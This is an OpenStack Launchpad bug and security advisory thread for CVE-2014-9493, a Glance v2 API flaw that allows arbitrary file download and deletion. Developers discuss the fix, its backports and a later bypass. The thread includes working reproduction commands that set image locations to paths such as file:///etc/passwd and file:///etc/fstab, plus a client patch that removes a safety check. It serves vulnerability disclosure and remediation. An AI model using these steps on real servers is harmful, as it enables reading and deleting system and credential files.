Glance

[OSSA-2014-041] Glance allows users to download and delete any file in glance-api server (CVE-2014-9493)

Bug #1400966 reported by Masahito Muroi
304
This bug affects 6 people
Affects Status Importance Assigned to Milestone
Glance
Fix Released
Critical
Grant Murphy
Glance 2015.1.0 "kilo"
Icehouse
Fix Released
Critical
Zhi Yan Liu
Glance 2014.1.4
Juno
Fix Released
Critical
Zhi Yan Liu
Glance 2014.2.2
Juniper Openstack
Status tracked in Trunk
Trunk
Invalid
Critical
Unassigned
OpenStack Security Advisory
Fix Released
Critical
Grant Murphy
OpenStack-Ansible
Fix Released
Critical
Ian Cordasco
Icehouse
Fix Released
Critical
Ian Cordasco
OpenStack-Ansible 9.0.6
Juno
Fix Released
Critical
Ian Cordasco
OpenStack-Ansible 10.1.2

Bug Description

Updating image-location by update images API users can download any file for which glance-api has read permission.
And the file for which glance-api has write permission will be deleted when users delete the image.

For example:
When users specify '/etc/passwd' as locations value of an image user can get the file by image download.

When locations of an image is set with 'file:///path/to/glance-api.conf' the conf will be deleted when users delete the image.

How to recreate the bug:
download files:
 - set show_multiple_locations True in glance-api.conf
 - create a new image
 - set locations of the image's property a path you want to get such as file:///etc/passwd.
 - download the image

delete files:
 - set show_multiple_locations True in glance-api.conf
 - create a new image
 - set locations of the image's property a path you want to delete such as file:///path/to/glance-api.conf
 - delete the image

I found this bug in 2014.2 (742c898956d655affa7351505c8a3a5c72881eae).

What a big A RE RE!!

See original description

CVE References

Masahito Muroi (muroi-masahito)
summary: - Glance allows users to download any file in glance-api server
+ Glance allows users to download and delete any file in glance-api server
Masahito Muroi (muroi-masahito)
description: updated
Grant Murphy (gmurphy)
Changed in ossa:
status: New → Incomplete
Revision history for this message
Grant Murphy (gmurphy) wrote : Re: Glance allows users to download and delete any file in glance-api server

Thanks for the report, the OSSA task is set to incomplete pending additional security review from glance-coresec.

Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :

I checked out 742c898956d655affa7351505c8a3a5c72881eae and set show_multiple_locations to be True.

I checked the server startup log to be sure it was set:

2014-12-10 16:37:23.803 6847 DEBUG glance.common.config [-] show_multiple_locations = True log_opt_values /mnt/ubuntu/git/glance-juno-stable/glance/.tox/py27/local/lib/python2.7/site-packages/oslo/config/cfg.py:1992

With the default store set to either file or swift I got:

$ glance image-update 7450abb5-fb9b-452a-abcf-416b571b57d6 --location file://etc/fstab
<html>
 <head>
  <title>400 Bad Request</title>
 </head>
 <body>
  <h1>400 Bad Request</h1>
  External sourcing not supported for store 'file'<br /><br />

 </body>
</html> (HTTP 400)

Can you provide more info (eg config files) to help reproduce?

Thanks.

Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :

Reproduced:

$ glance --os-image-api-version 2 location-add --url file:///etc/fstab 7450abb5-fb9b-452a-abcf-416b571b57d6
+------------------+----------------------------------------------------------------------------------+
| Property | Value |
 +------------------+----------------------------------------------------------------------------------+
| checksum | 398759a311bf25c6f1d67e753bb24dae |
| container_format | bare |
| created_at | 2014-12-10T16:35:47Z |
| disk_format | raw |
| file | /v2/images/7450abb5-fb9b-452a-abcf-416b571b57d6/file |
| id | 7450abb5-fb9b-452a-abcf-416b571b57d6 |
| locations | [{"url": "file:///mnt/ubuntu/images/7450abb5-fb9b-452a-abcf-416b571b57d6", |
| | "metadata": {}}, {"url": "file:///etc/fstab", "metadata": {}}] |
| min_disk | 0 |
| min_ram | 0 |
| name | img1 |
| owner | f68be3a5c2b14721a9e0ed2fcb750481 |
| protected | False |
| schema | /v2/schemas/image |
| size | 106 |
| status | active |
| tags | [] |
| updated_at | 2014-12-10T16:53:20Z |
| visibility | private |
 +------------------+----------------------------------------------------------------------------------+

$ glance image-download 7450abb5-fb9b-452a-abcf-416b571b57d6
LABEL=cloudimg-rootfs / ext4 defaults 0 0
/dev/vdb /mnt auto defaults,nobootwait,comment=cloudconfig 0 2
(py27)ubuntu in ~/git/python-glanceclient on master*

Changed in glance:
status: New → Confirmed
Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :

Note: v2 only I think.

Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :

Note: set_image_location policy defaults to "" -- ie allowed by anyone. We should consider changing that to admin only.

Changed in glance:
importance: Undecided → High
Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :
Download full text (4.7 KiB)

This can be exploited even when the server is configured with "show_multiple_locations = False".

(This is more serious because that is the default setting. )

2014-12-10 17:35:45.137 10953 DEBUG glance.common.config [-] show_multiple_locations = False log_opt_values /mnt/ubuntu/git/glance-juno-stable/glance/.tox/py27/local/lib/python2.7/site-packages/oslo/config/cfg.py:1992

Just patch the client (or send the equivalent request directly with curl):

$ git diff
diff --git a/glanceclient/v2/images.py b/glanceclient/v2/images.py
index 6ec9250..5037553 100644
--- a/glanceclient/v2/images.py
+++ b/glanceclient/v2/images.py
@@ -217,12 +217,10 @@ class Controller(object):
         :param metadata: Metadata associated with the location.
         :returns: The updated image
         """
- image = self._get_image_with_locations_or_fail(image_id)
- url_list = [l['url'] for l in image.locations]
- if url in url_list:
- err_str = 'A location entry at %s already exists' % url
- raise exc.HTTPConflict(err_str)
-
+ #image = self._get_image_with_locations_or_fail(image_id)
+ #url_list = [l['url'] for l in image.locations]
+ #if url in url_list:
+ # err_str = 'A location entry at %s already exists' % url
         add_patch = [{'op': 'add', 'path': '/locations/-',
                       'value': {'url': url, 'metadata': metadata}}]
         self._send_image_update_request(image_id, add_patch)

$ glance image-create --disk-format raw --container-format bare
+------------------+--------------------------------------+
| Property | Value |
 +------------------+--------------------------------------+
| checksum | None |
| container_format | bare |
| created_at | 2014-12-10T17:36:13 |
| deleted | False |
| deleted_at | None |
| disk_format | raw |
| id | ca95d79e-7d0e-46d7-9561-72dc5540ed98 |
| is_public | False |
| min_disk | 0 |
| min_ram | 0 |
| name | None |
| owner | f68be3a5c2b14721a9e0ed2fcb750481 |
| protected | False |
| size | 0 |
| status | queued |
| updated_at | 2014-12-10T17:36:13 |
| virtual_size | None |
 +------------------+--------------------------------------+

$ glance --os-image-api-version 2 location-add --url file:///etc/mtab ca95d79e-7d0e-46d7-9561-72dc5540ed98
+------------------+------------------------------------------------------+
| Property | Value |
 +------------------+------------------------------------------------------+
| container_format | bare ...

Read more...

Jeremy Stanley (fungi)
Changed in ossa:
status: Incomplete → Confirmed
importance: Undecided → High
Revision history for this message
Hemanth Makkapati (hemanth-makkapati) wrote :

I haven't taken a closer look at this but my guess is that this behavior is down to filesystem store. Glance creates filesystem store for the location 'file:///' and fetches/deletes the images using this store. However, the fielsystem store isn't enforcing whether or not a given image location falls within the path where the images are usually stored. This path is indicated by 'filesystem_store_datadir' config option. At the following locations in filesystem store, it just looks for whether or not a given image location exists. If it exists, read/delete is performed accordingly.

https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/filesystem.py#L331
https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/filesystem.py#L414

For a quick fix, we can add a check to ensure that image location MUST fall under the path indicated by 'filesystem_store_datadir'. Only then a read/delete operation may be perfomed.

This assessment maybe completely off, please do correct me in that case. I shall take a closer look at this soon-ish.

Revision history for this message
Masahito Muroi (muroi-masahito) wrote :

I use v2 like Stuart mentioned in #4.

I realized that user also can get http responses from openstack or no openstack systems in DC. If operators have web based utility tools which don't authorize requests in the DC user can download the info. OpenStack API which require a token with requests don't matter this since glance checks first reachabilities for the location in the location-add.

Zhi Yan Liu (lzy-dev)
Changed in glance:
assignee: nobody → Zhi Yan Liu (lzy-dev)
Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

Hi Stuart, Hemanth,

Thanks for your analysis.

As an alternative solution regarding to changing store drive that Hemanth proposed above, I think we could make a similar limitation/check on image location update api like what we did in v1 [0] as well, to prevent user use patch api to handle file and swift location? A unique benefit of the way is that, IMO, it could make v2 api be consistent with v1 on this kind of request from client's perspective.

[0] https://github.com/openstack/glance/blob/master/glance/api/v1/images.py#L429

Thoughts?

Revision history for this message
Flavio Percoco (flaper87) wrote :

I agree with Zhi that a good, quick and probably most importantly *backportable* solution would be to add a similar check in v2 as we have in v1.

A future follow-up patch should a a proper verification process in the store code and make the server side use it.

Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :

Yes, I was also thinking adding the v1 style limitation to v2 is probably a good idea.

I'd also like to see the set and get location policies default to admin only -- what do others think about that? (IMHO playing directly with the locations should be something that power users 'opt in' to be able to do.)

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

Hi Stuart, I'm thinking if that way/rule could be overkill for the image owner? For example, probably end user prepared/had an image content from an existing storage, then, IMO it's sensible to allow end user adds that location to own image. Am I miss any ting?

Revision history for this message
Stuart McLaren (stuart-mclaren) wrote :

> IMO it's sensible to allow end user adds that location to own image.

It is currently an operator decision. Some operators will want to allow this and others will not. The question is: which is a better default for the set_image_location policy? My feeling is that a lot of new operators may not necessarily understand the finer details of allowing a user to set image locations directly. When it is enabled, there are far fewer assumptions that an operator can make about the state of the glance system, and the image data paths, which complicates administration.

It also increases the attack surface a lot (eg this and other bugs). I personally would like turning on the ability to set locations be an explicit decision by the operator -- that gives them a chance to consciously weigh up the advantages and disadvantages, and to 'nudge' them to leave it disabled unless they really need it.

Revision history for this message
Thierry Carrez (ttx) wrote :

Changing the set/get location policies default to admin only is not a bad idea, but that's a different patch (master only).

For the (backportable) vulnerability fix, we ideally need something which would close the hole without chaging behavior for "normal" users. Are there valid use cases for specifying a file:// location ? If not, I think having a v1-style check in v2 is the simplest solution.

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

For the direction/idea of fixing driver, like Hemanth mentioned above, something in my mind is that: Totally I think it's a worth thing to get due to I think we'd better don't suppose glance_store lib are used by glance only, other project, e.g. Nova, probably could leverage it as well. I'm a little worried if that way could be a blocker for migration or upgrade operation on glance however, if we always checks if given image location are lived in configured storage directory(s) at [0], we could prevent the problem happen, but if operator changed option of glance-api with a new storage folder and want to keep existing image works (the existing locations in db are pointing to original path), this approach will cause all location of existing images to be invalid, and limits operator to do that kind of migration/upgrade operation - he/she can't change storage directory(s) option even there's an available image, unless updating db at the same time, but I think it's a little heavy.

[0] https://github.com/openstack/glance_store/blob/master/glance_store/_drivers/filesystem.py#L47,L50,L334

Any thoughts?

Thanks

Btw, the fix for glance was proposed at https://review.openstack.org/#/c/141706/ .

Revision history for this message
Tristan Cacqueray (tristan-cacqueray) wrote :

Now that the cat is unfortunately out of the bag, I switch this bug to public security.

Changed in glance:
importance: High → Critical
Changed in ossa:
importance: High → Critical
information type: Private Security → Public Security
Revision history for this message
Thierry Carrez (ttx) wrote :

Since this was unfortunately disclosed too early, posting a mitigation solution would be good. My understaning is that setting the set_image_location policy to admin-only is a way to work around the issue temporarily. Glance core, could you confirm ?

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

Thierry, I'm sorry for that! I consider it's a valid workaround way, to switch set_image_location policy to admin.

Revision history for this message
Grant Murphy (gmurphy) wrote :

Draft impact description -

Title: Glance v2 API unrestricted path traversal
Reporter: Masahito Muroi (NTT)
Products: Glance
Versions: Versions 2012.2 up to 2014.2.1

Description:
Masahito Muroi from NTT reported a vulnerability in Glance v2 API. By setting a malicious image location an authenticated user can download or delete any file on the Glance server for which the glance-api process user has access to. Only setups using the Glance v2 API are affected by this flaw.

Note:
A potential mitigation strategy available for operators is to change the glance policy to restrict access to administrators for get_image_location, set_image_location, and delete_image_location.

Revision history for this message
Nikhil Komawar (nikhil-komawar) wrote :

The setting of policy to admin only makes sense.

However, there is a risk of backward incompatibility if a existing deployment runs with this assumption (and they knowingly change the policy in adherence to the security issue). Given the nature of the risk it (admin only policy) seems like a decent trade-off until a cleaner solution is proposed. We'd try to get the better fix sooner in kilo.

Thanks!

Thierry Carrez (ttx)
Changed in glance:
milestone: none → kilo-1
status: Confirmed → In Progress
Revision history for this message
Tristan Cacqueray (tristan-cacqueray) wrote :

@Grant, the affected version may be too broad, the bug might have been introduced by https://review.openstack.org/#/c/35134/ which was not merged before 2013.2. And as we don't support Havana anymore I think the version line should be:

Versions: up to 2014.1.3 and 2014.2 version up to 2014.2.1

Also while the leak seems to happens on the glance-api server, shouldn't we also consider registry and storage node to be likely affected as well ?

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :
Revision history for this message
Abel Lopez (al592b) wrote :

Is this limited to default_store=file ?
I'm unable to replicate using default_store=rbd

Revision history for this message
Matteo Panella (mpanella) wrote :

I can confirm that the issue can be reproduced on a fully up-to-date Icehouse installation with the default configuration (both v1 and v2 API enabled). The only prerequisites to reproduce it are a recent version of python-glanceclient (newer than 0.14.0 due to lp:1367326) and the patch mentioned in #6.

As a sidenote, after patching glance (or the policy) all credentials stored in files accessible by glance (especially those related to the operation of glance itself) should be revoked as a precautionary measure.

Revision history for this message
Tristan Cacqueray (tristan-cacqueray) wrote :

Can someone please propose a backport to Icehouse and Juno of the change https://review.openstack.org/#/c/141706/ ?

At least tests could not be trivially cherry-picked...

Revision history for this message
Erno Kuvaja (jokke) wrote :

Tristan: I'm on it.

Revision history for this message
Flavio Percoco (flaper87) wrote :

@Erno I've done Juno already and Zhi Yan is doing Icehouse.

Juno: https://review.openstack.org/#/c/142373/

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (stable/juno)

Fix proposed to branch: stable/juno
Review: https://review.openstack.org/142419

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote : Re: Glance allows users to download and delete any file in glance-api server

Icehouse: https://review.openstack.org/#/c/142703/

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Change abandoned on glance (stable/juno)

Change abandoned by Erno Kuvaja (<email address hidden>) on branch: stable/juno
Review: https://review.openstack.org/142419
Reason: dup

Zhi Yan Liu (lzy-dev)
tags: added: havana-backport-potential
Thierry Carrez (ttx)
Changed in glance:
status: In Progress → Fix Committed
Thierry Carrez (ttx)
Changed in glance:
status: Fix Committed → Fix Released
Revision history for this message
Nikhil Komawar (nikhil-komawar) wrote : Re: Glance allows users to download and delete any file in glance-api server

Havana is not supported now. Removing the tag after discussing the same with Tristan Cacqueray.

tags: removed: havana-backport-potential
Thierry Carrez (ttx)
Changed in ossa:
status: Confirmed → In Progress
Revision history for this message
Thierry Carrez (ttx) wrote :

OSSA out, waiting for CVE allocation

Changed in ossa:
status: In Progress → Fix Committed
Jeremy Stanley (fungi)
summary: - Glance allows users to download and delete any file in glance-api server
+ [OSSA-2014-041] Glance allows users to download and delete any file in
+ glance-api server (CVE-2014-9493)
Revision history for this message
George Shuklin (george-shuklin) wrote :

About Havana:

I think havana is not affected:

Here Icehouse fix: https://review.openstack.org/#/c/142788/3/glance/api/v1/images.py

And this is havana code:

    def _validate_source(source, req):
        if source:
            for scheme in ['s3', 'swift', 'http', 'rbd', 'sheepdog', 'cinder']:
                if source.lower().startswith(scheme):
                    return source
            msg = _("External sourcing not supported for store %s") % source
            raise HTTPBadRequest(explanation=msg, bla-bla-bla

Basically, havana will not accept anything except listed ('s3', 'swift', 'http', 'rbd', 'sheepdog', 'cinder'), and will rejects schemes 'file' and 'swift+config'.

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

The key point for this issue is about the location validation missing in image v2 patch api, v1 stuff is ok for all havana, icehouse, juno releases.

Base on code, technically I'm sure stable/havana has this defect as well. ref https://github.com/openstack/glance/blob/havana-eol/glance/api/v2/images.py#L154 .

Ian Cordasco (icordasc)
Changed in openstack-ansible:
importance: Undecided → Critical
assignee: nobody → Ian Cordasco (icordasc)
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to os-ansible-deployment (master)

Fix proposed to branch: master
Review: https://review.openstack.org/145537

Changed in openstack-ansible:
status: New → In Progress
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to os-ansible-deployment (master)

Reviewed: https://review.openstack.org/145537
Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=233a71022e0ee90ddacc05126a0bc7265c1ad166
Submitter: Jenkins
Branch: master

commit 233a71022e0ee90ddacc05126a0bc7265c1ad166
Author: Ian Cordasco <email address hidden>
Date: Wed Jan 7 10:38:50 2015 -0600

    Prevent user from accessing privileged files

    Closes-bug: 1400966
    Related to OSSA-2014-041
    CVE-2014-9493

    Change-Id: I869b88cfe1bb8237f24d1e058ee7aac64806e230

Changed in openstack-ansible:
status: In Progress → Fix Committed
Grant Murphy (gmurphy)
Changed in ossa:
status: Fix Committed → Fix Released
Revision history for this message
Jin Liu (jin-t) wrote :
Download full text (11.0 KiB)

I merged this fix of icehouse then found one issue, I can still download file when use filesystem://, while I cannot delete file. When use file:// it looks working fine.

[<email address hidden>] /etc # glance image-create --disk-format raw --container-format bare
+------------------+--------------------------------------+
| Property | Value |
 +------------------+--------------------------------------+
| checksum | None |
| container_format | bare |
| created_at | 2015-01-07T00:28:17 |
| deleted | False |
| deleted_at | None |
| disk_format | raw |
| id | c0294cd0-e971-4dc3-a4f4-63bb06427233 |
| is_public | False |
| min_disk | 0 |
| min_ram | 0 |
| name | None |
| owner | f28900596cdd4002b8a0a94599656857 |
| protected | False |
| size | 0 |
| status | queued |
| updated_at | 2015-01-07T00:28:17 |
| virtual_size | None |
 +------------------+--------------------------------------+
[<email address hidden>] /etc #
[<email address hidden>] /etc # glance image-update --location filesystem:///etc/passwd c0294cd0-e971-4dc3-a4f4-63bb06427233
+------------------+--------------------------------------+
| Property | Value |
 +------------------+--------------------------------------+
| checksum | None |
| container_format | bare |
| created_at | 2015-01-07T00:28:17 |
| deleted | False |
| deleted_at | None |
| disk_format | raw |
| id | c0294cd0-e971-4dc3-a4f4-63bb06427233 |
| is_public | False |
| min_disk | 0 |
| min_ram | 0 |
| name | None |
| owner | f28900596cdd4002b8a0a94599656857 |
| protected | False |
| size | 2292 |
| status | active |
| updated_at | 2015-01-07T00:28:32 |
| virtual_size | None |
 +------------------+--------------------------------------+
[<email address hidden>] /etc # glance image-list
+--------------------------------------+---------+-------------+------------------+-----------+--------+
| ID | Name | Disk Format | Container Format | Size | Status |
 +---------------...

Jason Cannavale (jcannava)
Changed in openstack-ansible:
milestone: none → 9.0.6
milestone: 9.0.6 → 10.1.2
Jason Cannavale (jcannava)
Changed in openstack-ansible:
milestone: 10.1.2 → 9.0.6
milestone: 9.0.6 → none
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to os-ansible-deployment (stable/icehouse)

Fix proposed to branch: stable/icehouse
Review: https://review.openstack.org/145573

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to os-ansible-deployment (stable/juno)

Fix proposed to branch: stable/juno
Review: https://review.openstack.org/145575

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Change abandoned on os-ansible-deployment (stable/icehouse)

Change abandoned by Ian Cordasco (<email address hidden>) on branch: stable/icehouse
Review: https://review.openstack.org/145573
Reason: Sent to stable/icehouse instead of icehouse

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Change abandoned on os-ansible-deployment (stable/juno)

Change abandoned by Ian Cordasco (<email address hidden>) on branch: stable/juno
Review: https://review.openstack.org/145575
Reason: Sent to stable/juno instead of juno

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to os-ansible-deployment (juno)

Fix proposed to branch: juno
Review: https://review.openstack.org/145576

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to os-ansible-deployment (icehouse)

Fix proposed to branch: icehouse
Review: https://review.openstack.org/145577

Ian Cordasco (icordasc)
no longer affects: openstack-ansible/next
Revision history for this message
Grant Murphy (gmurphy) wrote :

Looks as though the fix is incomplete. Using the filesystem URI scheme will still hit the same code path.

https://github.com/openstack/glance_store/blob/16295ae977ef70e23ec02bac5a2340a7dd22d7c5/glance_store/_drivers/filesystem.py#L86

Revision history for this message
Tristan Cacqueray (tristan-cacqueray) wrote :

Juno and master are also affected.

Revision history for this message
Grant Murphy (gmurphy) wrote :

Reopening bug as fix was incomplete. Will request a new CVE id when a fix is ready.

Changed in glance:
status: Fix Released → In Progress
assignee: Zhi Yan Liu (lzy-dev) → Grant Murphy (gmurphy)
Changed in ossa:
assignee: nobody → Grant Murphy (gmurphy)
status: Fix Released → In Progress
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to glance (master)

Fix proposed to branch: master
Review: https://review.openstack.org/145640

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

I missed to block 'filesystem' due to file store support two schemas 'file' and 'filesystem', so the original solution is still correct, it just need to add 'filesystem' to disallowance list. Thanks Grant to add it.

Revision history for this message
Zhi Yan Liu (lzy-dev) wrote :

Minor improvement in async task for the reason https://review.openstack.org/145708 , ify.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to os-ansible-deployment (juno)

Reviewed: https://review.openstack.org/145576
Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=b726fca969e88a4ab703a99b353b815ba01cc9b0
Submitter: Jenkins
Branch: juno

commit b726fca969e88a4ab703a99b353b815ba01cc9b0
Author: Ian Cordasco <email address hidden>
Date: Wed Jan 7 10:38:50 2015 -0600

    Prevent user from accessing privileged files

    Closes-bug: 1400966
    Related to OSSA-2014-041
    CVE-2014-9493

    Change-Id: I869b88cfe1bb8237f24d1e058ee7aac64806e230
    (cherry picked from commit 233a71022e0ee90ddacc05126a0bc7265c1ad166)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to os-ansible-deployment (icehouse)

Reviewed: https://review.openstack.org/145577
Committed: https://git.openstack.org/cgit/stackforge/os-ansible-deployment/commit/?id=0e42c95ff016dfc0bf76f7ee8bae5cd72a9f4c9d
Submitter: Jenkins
Branch: icehouse

commit 0e42c95ff016dfc0bf76f7ee8bae5cd72a9f4c9d
Author: Ian Cordasco <email address hidden>
Date: Wed Jan 7 10:38:50 2015 -0600

    Prevent user from accessing privileged files

    Closes-bug: 1400966
    Related to OSSA-2014-041
    CVE-2014-9493

    Change-Id: I869b88cfe1bb8237f24d1e058ee7aac64806e230
    (cherry picked from commit 233a71022e0ee90ddacc05126a0bc7265c1ad166)

Revision history for this message
Thierry Carrez (ttx) wrote :

Let's track the filesystem: case on bug 1408663, for clarity.

Changed in ossa:
status: In Progress → Fix Released
Changed in glance:
status: In Progress → Fix Released
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to ossa (master)

Related fix proposed to branch: master
Review: https://review.openstack.org/147666

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to ossa (master)

Reviewed: https://review.openstack.org/147666
Committed: https://git.openstack.org/cgit/openstack/ossa/commit/?id=e451978576f394bce41d201282b6fe0c6a061cba
Submitter: Jenkins
Branch: master

commit e451978576f394bce41d201282b6fe0c6a061cba
Author: Tristan Cacqueray <email address hidden>
Date: Thu Jan 15 21:18:39 2015 +0000

    Adds OSSA-2014-041

    Change-Id: Idf8fc5be42dd1e446db0ee3e93d10b6245af90ef
    Related-Bug: #1400966

Thierry Carrez (ttx)
Changed in glance:
milestone: kilo-1 → 2015.1.0
Kevin Carter (kevin-carter)
Changed in openstack-ansible:
status: Fix Committed → Fix Released
Revision history for this message
Kyrylo Romanenko (kromanenko) wrote :

On verification

Revision history for this message
Kyrylo Romanenko (kromanenko) wrote :

I have treied with several sequences of actions.
First i set show_multiple_locations = True
in /etc/glance/glance-api.conf
and restarted glance by: glance-control all restart

Flow 1

1) Created small image via Horizon GUI.

2) glance --os-image-api-version 2 location-add --url file:///etc/fstab f44eb9f7-2045-4118-b09b-fdfb71d58b2a
The administrator has disabled API access to image locations (HTTP 400)

OK

Flow 2

1) Created small image via GUI.

2) Added Metadata via Horizon url=file:///etc/fstab

3) glance image-download --file ~/small.iso f44eb9f7-2045-4118-b09b-fdfb71d58b2a

4) Checked contents of file - OK.

Flow 3

1) glance image-create --disk-format raw --container-format bare
2) glance --os-image-api-version 2 location-add --url file:///etc/mtab 22f3e03e-1431-4f31-a1c6-0cfe52ae3c43
The administrator has disabled API access to image locations (HTTP 400)

OK

Flow 4
1) glance image-create --disk-format raw --container-format bare

2) glance image-update --location filesystem:///etc/passwd 3b3a5f9d-690b-42d7-bfbf-aef5d82d73d2
<html>
 <head>
  <title>400 Bad Request</title>
 </head>
 <body>
  <h1>400 Bad Request</h1>
  External source are not supported: 'filesystem:///etc/passwd'<br /><br />

 </body>

Almost good, but CLI output could be like in Flow 1 and 3.

Revision history for this message
Kyrylo Romanenko (kromanenko) wrote :

Environement:
VERSION:
  feature_groups:
    - mirantis
  production: "docker"
  release: "6.1"
  openstack_version: "2014.2.2-6.1"
  api: "1.0"
  build_number: "432"
  build_id: "2015-05-18_03-43-53"
  nailgun_sha: "076566b5df37f681c3fd5b139c966d680d81e0a5"
  python-fuelclient_sha: "38765563e1a7f14f45201fd47cf507393ff5d673"
  astute_sha: "cb655a9a9ad26848bcd9d9ace91857b6f4a0ec15"
  fuel-library_sha: "1621cb350af744f497c35f2b3bb889c2041465d8"
  fuel-ostf_sha: "9ce1800749081780b8b2a4a7eab6586583ffaf33"
  fuelmain_sha: "0e970647a83d9a7d336c4cc253606d4dd0d59a60"

Deployment in VirtualBox. Ubuntu 14.04.1, Neutron VLAN, Cinder and Glance on LVM
1 Controller+Cinder
1 Compute+Cinder
1 Cinder

Revision history for this message
Kyrylo Romanenko (kromanenko) wrote :

Oh, i`d better to post it to MOS launchpad.

Revision history for this message
OpenContrail Admin (ci-admin-f) wrote : [Review update] master

Review in progress for https://review.opencontrail.org/26021
Submitter: Ganesha HV (<email address hidden>)

Revision history for this message
Ganesha HV (ganeshahv) wrote :

invalid Bug ID mentioned in commit

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.
Subscribing...

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.